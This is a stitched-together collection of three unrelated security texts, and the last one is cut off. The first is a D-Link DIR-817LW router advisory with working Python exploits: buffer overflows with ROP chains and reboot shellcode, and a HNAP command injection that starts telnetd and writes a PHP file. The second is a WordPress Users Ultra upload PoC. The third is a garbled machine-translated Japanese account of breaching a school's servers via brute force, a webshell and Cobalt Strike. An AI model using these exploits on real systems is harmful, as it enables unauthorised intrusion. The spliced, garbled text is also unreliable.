## Advisory Information Title: DIR-817LW Buffer overflows and Command injection in authentication and HNAP functionalities Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DIR-817LW -- Wireless AC750 Dual Band Cloud Router. Mainly used by home and small offices. ## Vulnerabilities Summary Have come across 3 security issues in DIR-815 firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. ## Details Buffer overflow in auth ---------------------------------------------------------------------------------------------------------------------- import socket import struct #Reboot shellcode in there buf = "GET /dws/api/Login?id=" buf+="A"*2064+"AAAA" #s0 # uclibc system address buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate mission buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xAC\xAD\x70" # Retn address ROP gadget 1 that loads into $a0 buf+="C"*36 # buf+="\x2A\xAC\xD5\xB4" # points to rop3 #buf+="1"*17 # exit payload buf+="E"*16 buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #reboot big endian buf+="Y"*120 # ROP gadget 2 that loads into $t9 buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nContent-Length:5000\r\n\r\nid="+"A"*5000+"\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.8", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- Buffer overflow in HNAP ---------------------------------------------------------------------------------------------------------------------- import socket import struct # Working buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158 buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate mission buf+="AAAA" buf+="\x2A\xAC\xAD\x70" # Retn address ROP gadget 1 that loads into $a0 buf+="C"*36 buf+="\x2A\xAC\xD5\xB4" # points to rop3 buf+="C"*16 buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #reboot big endian shell buf+="B"*28+"\r\n" + "1\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.8", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- Command injection ---------------------------------------------------------------------------------------------------------------------- import socket import struct # CSRF or any other trickery, but probably only works when connected to network I suppose and internal buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';echo "<?phpinfo?>" > passwd1.php;telnetd -p 9090;test\r\n' + "1\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("1.2.3.4", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley

* Exploit Title: WordPress Users Ultra Plugin [Unrestricted File Upload] * Discovery Date: 2015/10/27 * Public Disclosure Date: 2015/12/01 * Exploit Author: Panagiotis Vagenas * Contact: https://twitter.com/panVagenas * Vendor Homepage: http://usersultra.com * Software Link: https://wordpress.org/plugins/users-ultra/ * Version: 1.5.50 * Tested on: WordPress 4.3.1 * Category: webapps Description ================================================================================ WordPress plugin `Users Ultra Plugin` suffers for an unrestricted file upload vulnerability. Any user (registered or not) can exploit a misbehavior of the plugin in order to upload csv files to the infected website. Although the plugin checks file extension using an extensions white-list (in this case only csv files are white-listed), no other checks (mime, size etc) are taking place. This alone can expose the infected website to a variety of attacks, please see [OWASP Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload) to get an idea. Details ================================================================================ The plugin workflow that could allow a malicious user to exploit this misbehavior is as follows: 1. Upon initialization of the plugin (anytime if it is activated) an instance of `XooUserUser` class is created 2. In the constructor of `XooUserUser` class a check for POST variable `uultra-form-cvs-form-conf` is taking place file `wp-content/plugins/users-ultra/xooclasses/xoo.userultra.user.php` lines 19-23 ```php if (isset($_POST['uultra-form-cvs-form-conf'])) { /* Let's Update the Profile */ $this->process_cvs($_FILES); } ``` 3. Assuming the POST variable `uultra-form-cvs-form-conf` has been set in the request, the method `XooUserUser::process_cvs()` is called. 4. `XooUserUser::process_cvs()` method process every file in $_FILES super-global by only making a check if the file has a `csv` extension In addition we mark the following points: 1. A malicious user can create and activate user accounts by exploiting this vulnerability if `$_POST["uultra-activate-account"]` is set to `active` 2. A welcome email is send if `$_POST["uultra-send-welcome-email"]` is set to 1 3. The csv files uploaded to the server are stored in a directory (`wp-content/usersultramedia/import` by default) accessible by anyone 4. Any additional columns present in the csv file are stored in `usermeta` 5. No sanitization for values in csv file can easily lead to a Persistent XSS attack, so an attacker can compromise the whole site PoC ================================================================================ The following Python3 script forms a csv file and uploads it to a site ```python3 #!/usr/bin/python3 import requests import csv import tempfile url = 'http://example.com/' postData = { 'uultra-form-cvs-form-conf': 1, 'uultra-send-welcome-email': 1, 'uultra-activate-account': 'pending' } csvFileHeader = ['user name', 'email', 'display name', 'registration date', 'first name', 'last name', 'age', 'country'] csvFileRow = ['userName', 'email@example.com', 'User Name', '1/1/1', 'User', 'Name', '100', 'IO'] csvFile = tempfile.NamedTemporaryFile(mode='a+t', suffix='.csv') wr = csv.writer(csvFile, quoting=csv.QUOTE_ALL, delimiter=',') wr.writerow(csvFileHeader) wr.writerow(csvFileRow) csvFile.seek(0) files = {'file.csv': csvFile} r = requests.post(url, data=postData, files=files) exit(0) ``` Timeline ================================================================================ 2015/10/29 - Vendor notified via email 2015/11/11 - Vendor notified via contact form in his website 2015/11/13 - Vendor notified via support forums at wordpress.org 2015/11/14 - Vendor responded and received report through email 2015/11/15 - Vendor responded 2015/11/15 - Patch released Solution ================================================================================ Update to version 1.5.59

0x01はじめに 流行により、学校のYibanアプリはチェックインシステムを追加しました。これには、毎日朝の検査と午後の検査が必要です。忘れてしまうと、レビューする何千もの単語があります。 私はこの「形式主義」に深く不満を感じています。私はたまたまサイバーセキュリティチームを設立したので、それを操作する準備をしました。 0x02スポット 基本情報収集についてはあまり言いません したがって、異なるシステムは複数のサーバーを使用します それは完全に解決できないようです。コアシステムを獲得するには、さまざまなシステムとサーバーの素晴らしい学校システムの浸透の旅が必要です。 次に、コアシステムにタッチします まず、「Yiban」システムのホームページを開き、これがどのように見えるかです 開発者がTPフレームワークを使用し、さまざまなTP注射をテストしたことを確認することは難しくありません。 RCEのペイロードは失敗に終わりました、そして、安全性の認識はそれほど悪くないようです ドメイン名の下のホームページは、機能的なポイントや情報なしで完全にエラー報告ページです saying sayingにあるように、情報収集の品質は浸透の成功または失敗を直接決定するので、私たちは決して不注意であってはなりません。 最初にファズの第1レベルのディレクトリに来てみましょう 結果は非常に優れており、多くのカタログと機能ポイントがあります。 次に、各第1レベルのディレクトリのセカンダリディレクトリを曖昧にし続け、ドメイン名の下に展開されている機能ポイントを常に探求しました。 第1レベルのディレクトリが多すぎるため、詳細については写真には行きません。 機能的なポイントを理解した後、ズボンを脱いで乾燥を開始します 0x03メンタルヘルスシステムの浸透（IISショートファイル名ポートポート - ブラストニューログインポートアプロード） 第1レベルのカタログを爆破し、爆破します http://xxx.xxx.edu.cn/psyこのパス 心理教育の健康システムが展開され、ミドルウェアがIISであることがわかった ただし、メンタルヘルスシステムのログインには検証コードメカニズムがあり、検証コードを識別するのは簡単ではありません 私はすぐにIISショートファイル名機能について考えました 次に、IISショートファイル名ディレクトリスキャンツールを使用します （https://github.com/lijiejie/iis_shortname_scanner）スキャン用 他のシステムの古いログインポートを取得します http://xxx.xxx.edu.cn/psy/login2.aspx 図に示されているように、検証コードメカニズムはありません 直接げっぷクラスター爆弾型爆発 他のシステムの弱いパスワード管理者AA123456を正常に取得しました ただし、古いシステムの他のページが削除されており、通常はバックグラウンドにログインできません しかし、古いシステムと新しいシステムで使用されているのと同じデータベースが推測されています 新しいシステムへのアクセス http://xxx.xxx.edu.cn/psy/login.aspx パスワード管理者、AA123456を使用して、正常にログインします バックグラウンドでアップロードポイントを検索します アップロードポイントはです http://xxx.xxx.edu.cn/psy/scalemanage/scaleedit.aspx?scalelistid=1 スケールプラットフォームに追加されたトピックは、任意のファイルにアップロードされます （そうです、このアップロードポイント.それは非常に隠されていると言えます.それを見つけるのに長い時間がかかりました） ASPXのアップロードは不可解にジャンプします。 ASPは解析せず、ASMX馬を直接通過します。 AWVS 10のデバッグモジュールを介してコマンドを実行します 許可はネットサービスです CobaltStrikeを使用して、PowerShellを直接POWERSHELLに移動します パッチは死んでいるようです。 さまざまな地元の権利昇進が一度開始されましたが、役に立たなかった comコンポーネントは、ジャガイモが装着された後も育てることさえできません。最初にこれをしましょう。右を上げる場合は、追加してください。 メンタルヘルスシステムは、初期の買収を発表しました 0x04ライブブロードキャストシステムインターフェイスインジェクション ライブブロードキャストシステムに入った後、使用する意味がなく、開発はまだ完了していないことがわかりました。 しかし、げっぷで、私はajaxインターフェイスのリクエストを見つけました、 HTTPリクエストは次のように:です post /index.php/live/index/seat_ajax.html http/1.1 host: xxx.xxx.edu.cn Content-Length: 24 Accept:/ Origin:http://xxx.xxx.edu.cn X-Requested With: xmlhttprequest user-agent: mozilla/5.0（linux;
